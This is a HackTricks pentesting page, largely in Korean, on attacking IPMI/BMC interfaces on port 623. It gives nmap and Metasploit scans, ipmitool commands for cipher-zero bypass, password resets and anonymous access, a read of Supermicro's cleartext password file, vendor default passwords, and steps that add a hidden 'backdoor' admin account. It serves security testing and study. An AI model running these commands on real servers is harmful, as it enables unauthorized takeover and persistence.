# 623/UDP/TCP - IPMI ## 623/UDP/TCP - IPMI {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** πŸ’¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basic Information ### **IPMI κ°œμš”** **[Intelligent Platform Management Interface (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**λŠ” 운영 μ²΄μ œλ‚˜ 전원 μƒνƒœμ™€ 관계없이 컴퓨터 μ‹œμŠ€ν…œμ˜ 원격 관리 및 λͺ¨λ‹ˆν„°λ§μ„ μœ„ν•œ ν‘œμ€€ν™”λœ μ ‘κ·Ό 방식을 μ œκ³΅ν•©λ‹ˆλ‹€. 이 κΈ°μˆ μ€ μ‹œμŠ€ν…œ κ΄€λ¦¬μžκ°€ μ‹œμŠ€ν…œμ΄ κΊΌμ Έ μžˆκ±°λ‚˜ μ‘λ‹΅ν•˜μ§€ μ•Šμ„ λ•Œμ—λ„ μ›κ²©μœΌλ‘œ μ‹œμŠ€ν…œμ„ 관리할 수 있게 ν•΄μ£Όλ©°, 특히 μœ μš©ν•œ κ²½μš°λŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€: - OS λΆ€νŒ… μ „ ꡬ성 - 전원 관리 - μ‹œμŠ€ν…œ μž₯μ•  볡ꡬ IPMIλŠ” μ˜¨λ„, μ „μ••, 팬 속도 및 전원 곡급 μž₯치λ₯Ό λͺ¨λ‹ˆν„°λ§ν•  수 있으며, 인벀토리 정보 제곡, ν•˜λ“œμ›¨μ–΄ 둜그 κ²€ν†  및 SNMPλ₯Ό ν†΅ν•œ κ²½κ³  전솑 κΈ°λŠ₯도 μ œκ³΅ν•©λ‹ˆλ‹€. μž‘λ™μ— ν•„μˆ˜μ μΈ μš”μ†ŒλŠ” 전원 곡급 μž₯μΉ˜μ™€ LAN μ—°κ²°μž…λ‹ˆλ‹€. 1998λ…„ Intel에 μ˜ν•΄ λ„μž…λœ 이후, IPMIλŠ” μ—¬λŸ¬ 곡급업체에 μ˜ν•΄ μ§€μ›λ˜μ–΄ 원격 관리 κΈ°λŠ₯을 ν–₯μƒμ‹œμΌ°μœΌλ©°, 특히 2.0 λ²„μ „μ˜ LAN을 ν†΅ν•œ 직렬 지원이 μΆ”κ°€λ˜μ—ˆμŠ΅λ‹ˆλ‹€. μ£Όμš” ꡬ성 μš”μ†ŒλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€: - **Baseboard Management Controller (BMC):** IPMI μž‘μ—…μ„ μœ„ν•œ μ£Όμš” 마이크둜 컨트둀러. - **톡신 λ²„μŠ€ 및 μΈν„°νŽ˜μ΄μŠ€:** ICMB, IPMB 및 λ‹€μ–‘ν•œ 둜컬 및 λ„€νŠΈμ›Œν¬ 연결을 μœ„ν•œ μΈν„°νŽ˜μ΄μŠ€λ₯Ό ν¬ν•¨ν•œ λ‚΄λΆ€ 및 μ™ΈλΆ€ 톡신을 μœ„ν•œ 것. - **IPMI λ©”λͺ¨λ¦¬:** 둜그 및 데이터λ₯Ό μ €μž₯ν•˜κΈ° μœ„ν•œ 것. ![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) **κΈ°λ³Έ 포트**: 623/UDP/TCP (보톡 UDPμ—μ„œ μ‹€ν–‰λ˜μ§€λ§Œ TCPμ—μ„œλ„ 싀행될 수 μžˆμŠ΅λ‹ˆλ‹€) ## Enumeration ### Discovery ```bash nmap -n -p 623 10.0.0./24 nmap -n-sU -p 623 10.0.0./24 use auxiliary/scanner/ipmi/ipmi_version ``` You can **identify** the **version** using: 당신은 λ‹€μŒμ„ μ‚¬μš©ν•˜μ—¬ **버전**을 **식별**ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```bash use auxiliary/scanner/ipmi/ipmi_version nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### IPMI 취약점 IPMI 2.0 μ˜μ—­μ—μ„œ Dan Farmer에 μ˜ν•΄ μ€‘μš”ν•œ λ³΄μ•ˆ 결함이 λ°œκ²¬λ˜μ—ˆμœΌλ©°, **cipher type 0**을 톡해 취약점이 λ…ΈμΆœλ˜μ—ˆμŠ΅λ‹ˆλ‹€. 이 취약점은 [Dan Farmer의 연ꡬ](http://fish2.com/ipmi/cipherzero.html)μ—μ„œ μžμ„Ένžˆ λ¬Έμ„œν™”λ˜μ–΄ 있으며, μœ νš¨ν•œ μ‚¬μš©μžκ°€ λͺ©ν‘œλ‘œ 삼을 경우 제곡된 λΉ„λ°€λ²ˆν˜Έλ‘œ 무단 접근을 κ°€λŠ₯ν•˜κ²Œ ν•©λ‹ˆλ‹€. 이 약점은 HP, Dell, Supermicro와 같은 μ œμ‘°μ—…μ²΄μ˜ λ‹€μ–‘ν•œ BMCμ—μ„œ λ°œκ²¬λ˜μ–΄ λͺ¨λ“  IPMI 2.0 κ΅¬ν˜„μ—μ„œ κ΄‘λ²”μœ„ν•œ 문제λ₯Ό μ‹œμ‚¬ν•©λ‹ˆλ‹€. ### **Cipher 0을 ν†΅ν•œ IPMI 인증 우회** 이 결함을 νƒμ§€ν•˜κΈ° μœ„ν•΄ λ‹€μŒμ˜ Metasploit 보쑰 μŠ€μΊλ„ˆλ₯Ό μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€: ```bash use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` 이 κ²°ν•¨μ˜ μ•…μš©μ€ μ•„λž˜μ—η€Ίλœ `ipmitool`을 μ‚¬μš©ν•˜μ—¬ κ°€λŠ₯ν•˜λ©°, μ‚¬μš©μž λΉ„λ°€λ²ˆν˜Έμ˜ λ‚˜μ—΄ 및 μˆ˜μ •μ„ ν—ˆμš©ν•©λ‹ˆλ‹€: ```bash apt-get install ipmitool # Installation command ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password ``` ### **IPMI 2.0 RAKP 인증 원격 λΉ„λ°€λ²ˆν˜Έ ν•΄μ‹œ 검색** 이 취약점은 κΈ°μ‘΄ μ‚¬μš©μž 이름에 λŒ€ν•œ μ†”νŠΈκ°€ μΆ”κ°€λœ ν•΄μ‹œ λΉ„λ°€λ²ˆν˜Έ(MD5 및 SHA1)λ₯Ό 검색할 수 있게 ν•΄μ€λ‹ˆλ‹€. 이 취약점을 ν…ŒμŠ€νŠΈν•˜κΈ° μœ„ν•΄ Metasploit은 λͺ¨λ“ˆμ„ μ œκ³΅ν•©λ‹ˆλ‹€: ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` ### **IPMI 읡λͺ… 인증** λ§Žμ€ BMC의 κΈ°λ³Έ ꡬ성은 null μ‚¬μš©μž 이름 및 λΉ„λ°€λ²ˆν˜Έ λ¬Έμžμ—΄λ‘œ νŠΉμ§•μ§€μ–΄μ§€λŠ” "읡λͺ…" μ•‘μ„ΈμŠ€λ₯Ό ν—ˆμš©ν•©λ‹ˆλ‹€. 이 ꡬ성은 `ipmitool`을 μ‚¬μš©ν•˜μ—¬ λͺ…λͺ…λœ μ‚¬μš©μž κ³„μ •μ˜ λΉ„λ°€λ²ˆν˜Έλ₯Ό μž¬μ„€μ •ν•˜λŠ” 데 μ•…μš©λ  수 μžˆμŠ΅λ‹ˆλ‹€: ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ``` ### **Supermicro IPMI 평문 λΉ„λ°€λ²ˆν˜Έ** IPMI 2.0의 μ€‘μš”ν•œ 섀계 선택은 인증 λͺ©μ μœΌλ‘œ BMC 내에 평문 λΉ„λ°€λ²ˆν˜Έλ₯Ό μ €μž₯ν•΄μ•Ό 함을 μš”κ΅¬ν•©λ‹ˆλ‹€. Supermicroκ°€ μ΄λŸ¬ν•œ λΉ„λ°€λ²ˆν˜Έλ₯Ό `/nv/PSBlock` λ˜λŠ” `/nv/PSStore`와 같은 μœ„μΉ˜μ— μ €μž₯ν•˜λŠ” 것은 μ‹¬κ°ν•œ λ³΄μ•ˆ 문제λ₯Ό μ•ΌκΈ°ν•©λ‹ˆλ‹€: ```bash cat /nv/PSBlock ``` ### **Supermicro IPMI UPnP 취약점** Supermicro의 IPMI νŽŒμ›¨μ–΄μ— UPnP SSDP λ¦¬μŠ€λ„ˆλ₯Ό ν¬ν•¨ν•˜λŠ” 것은 특히 UDP 포트 1900μ—μ„œ μ‹¬κ°ν•œ λ³΄μ•ˆ μœ„ν—˜μ„ μ΄ˆλž˜ν•©λ‹ˆλ‹€. [Rapid7의 곡개](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play)μ—μ„œ μžμ„Ένžˆ μ„€λͺ…λœ Intel SDK for UPnP Devices 버전 1.3.1의 취약점은 BMC에 λŒ€ν•œ 루트 접근을 ν—ˆμš©ν•©λ‹ˆλ‹€: ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` ### Brute Force **HPλŠ” 제쑰 쀑에** **Integrated Lights Out (iLO)** **μ œν’ˆμ˜ κΈ°λ³Έ λΉ„λ°€λ²ˆν˜Έλ₯Ό λ¬΄μž‘μœ„λ‘œ μ„€μ •ν•©λ‹ˆλ‹€.** 이 관행은 **정적 κΈ°λ³Έ 자격 증λͺ…**을 μ‚¬μš©ν•˜λŠ” λ‹€λ₯Έ μ œμ‘°μ—…μ²΄μ™€ λŒ€μ‘°μ μž…λ‹ˆλ‹€. λ‹€μ–‘ν•œ μ œν’ˆμ— λŒ€ν•œ κΈ°λ³Έ μ‚¬μš©μž 이름과 λΉ„λ°€λ²ˆν˜Έ μš”μ•½μ€ λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€: - **HP Integrated Lights Out (iLO)**λŠ” κΈ°λ³Έ λΉ„λ°€λ²ˆν˜Έλ‘œ **곡μž₯μ—μ„œ λ¬΄μž‘μœ„λ‘œ μƒμ„±λœ 8자 λ¬Έμžμ—΄**을 μ‚¬μš©ν•˜μ—¬ 더 높은 λ³΄μ•ˆ μˆ˜μ€€μ„ λ³΄μ—¬μ€λ‹ˆλ‹€. - **Dell의 iDRAC, IBM의 IMM**, 및 **Fujitsu의 Integrated Remote Management Controller**와 같은 μ œν’ˆμ€ 각각 "calvin", "PASSW0RD" (0 포함), "admin"κ³Ό 같은 μ‰½κ²Œ μΆ”μΈ‘ν•  수 μžˆλŠ” λΉ„λ°€λ²ˆν˜Έλ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€. - μœ μ‚¬ν•˜κ²Œ, **Supermicro IPMI (2.0), Oracle/Sun ILOM**, 및 **ASUS iKVM BMC**도 각각 "ADMIN", "changeme", "admin"κ³Ό 같은 κ°„λ‹¨ν•œ κΈ°λ³Έ 자격 증λͺ…을 μ‚¬μš©ν•©λ‹ˆλ‹€. ## Accessing the Host via BMC Baseboard Management Controller (BMC)에 λŒ€ν•œ 관리 μ•‘μ„ΈμŠ€λŠ” 호슀트의 운영 μ²΄μ œμ— μ ‘κ·Όν•  수 μžˆλŠ” λ‹€μ–‘ν•œ 경둜λ₯Ό μ—½λ‹ˆλ‹€. κ°„λ‹¨ν•œ μ ‘κ·Ό 방식은 BMC의 ν‚€λ³΄λ“œ, λΉ„λ””μ˜€, 마우슀 (KVM) κΈ°λŠ₯을 μ•…μš©ν•˜λŠ” κ²ƒμž…λ‹ˆλ‹€. μ΄λŠ” GRUBλ₯Ό 톡해 루트 μ…Έλ‘œ 호슀트λ₯Ό μž¬λΆ€νŒ…ν•˜κ±°λ‚˜ 가상 CD-ROMμ—μ„œ 볡ꡬ λ””μŠ€ν¬λ‘œ λΆ€νŒ…ν•˜μ—¬ μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ 방법은 호슀트의 λ””μŠ€ν¬λ₯Ό 직접 μ‘°μž‘ν•  수 있게 ν•˜λ©°, 백도어 μ‚½μž…, 데이터 μΆ”μΆœ λ˜λŠ” λ³΄μ•ˆ 평가λ₯Ό μœ„ν•œ ν•„μš”ν•œ μž‘μ—…μ„ ν¬ν•¨ν•©λ‹ˆλ‹€. κ·ΈλŸ¬λ‚˜ μ΄λŠ” 호슀트λ₯Ό μž¬λΆ€νŒ…ν•΄μ•Ό ν•˜λ―€λ‘œ μƒλ‹Ήν•œ 단점이 μžˆμŠ΅λ‹ˆλ‹€. μž¬λΆ€νŒ… 없이 μ‹€ν–‰ 쀑인 ν˜ΈμŠ€νŠΈμ— μ ‘κ·Όν•˜λŠ” 것은 더 λ³΅μž‘ν•˜λ©° 호슀트의 ꡬ성에 따라 λ‹€λ¦…λ‹ˆλ‹€. 호슀트의 물리적 λ˜λŠ” 직렬 μ½˜μ†”μ΄ 둜그인된 μƒνƒœλΌλ©΄ BMC의 KVM λ˜λŠ” LAN을 ν†΅ν•œ 직렬 κΈ°λŠ₯을 μ‚¬μš©ν•˜μ—¬ μ‰½κ²Œ μž₯μ•…ν•  수 μžˆμŠ΅λ‹ˆλ‹€. i2c λ²„μŠ€ 및 Super I/O μΉ©κ³Ό 같은 곡유 ν•˜λ“œμ›¨μ–΄ λ¦¬μ†ŒμŠ€μ˜ μ•…μš©μ„ νƒμƒ‰ν•˜λŠ” 것은 μΆ”κ°€ 쑰사가 ν•„μš”ν•œ μ˜μ—­μž…λ‹ˆλ‹€. ## Introducing Backdoors into BMC from the Host BMCκ°€ μž₯착된 호슀트λ₯Ό μ†μƒμ‹œν‚€λ©΄, **둜컬 BMC μΈν„°νŽ˜μ΄μŠ€λ₯Ό ν™œμš©ν•˜μ—¬ 백도어 μ‚¬μš©μž 계정을 μ‚½μž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€.** μ΄λŠ” μ„œλ²„μ— 지속적인 쑴재λ₯Ό μƒμ„±ν•©λ‹ˆλ‹€. 이 곡격은 μ†μƒλœ ν˜ΈμŠ€νŠΈμ— **`ipmitool`**이 μ‘΄μž¬ν•˜κ³  BMC λ“œλΌμ΄λ²„ 지원이 ν™œμ„±ν™”λ˜μ–΄ μžˆμ–΄μ•Ό ν•©λ‹ˆλ‹€. λ‹€μŒ λͺ…령은 인증 없이 호슀트의 둜컬 μΈν„°νŽ˜μ΄μŠ€λ₯Ό μ‚¬μš©ν•˜μ—¬ BMC에 μƒˆ μ‚¬μš©μž 계정을 μ£Όμž…ν•˜λŠ” 방법을 λ³΄μ—¬μ€λ‹ˆλ‹€. 이 κΈ°μˆ μ€ Linux, Windows, BSD, 심지어 DOSλ₯Ό ν¬ν•¨ν•œ λ‹€μ–‘ν•œ 운영 μ²΄μ œμ— 적용 κ°€λŠ₯ν•©λ‹ˆλ‹€. ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) ipmitool user set name 4 backdoor ipmitool user set password 4 backdoor ipmitool user priv 4 4 ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) 4 backdoor true false true ADMINISTRATOR ``` ## Shodan * `port:623` ## References * [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/) {% hint style="success" %} AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§€μ›ν•˜κΈ° * [**ꡬ독 κ³„νš**](https://github.com/sponsors/carlospolop) ν™•μΈν•˜κΈ°! * **πŸ’¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λ˜λŠ” [**ν…”λ ˆκ·Έλž¨ κ·Έλ£Ή**](https://t.me/peass)에 μ°Έμ—¬ν•˜κ±°λ‚˜ **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νŒ”λ‘œμš°ν•˜μ„Έμš”.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉƒν—ˆλΈŒ 리포에 PR을 μ œμΆœν•˜μ—¬ ν•΄ν‚Ή νŒμ„ κ³΅μœ ν•˜μ„Έμš”.**
{% endhint %}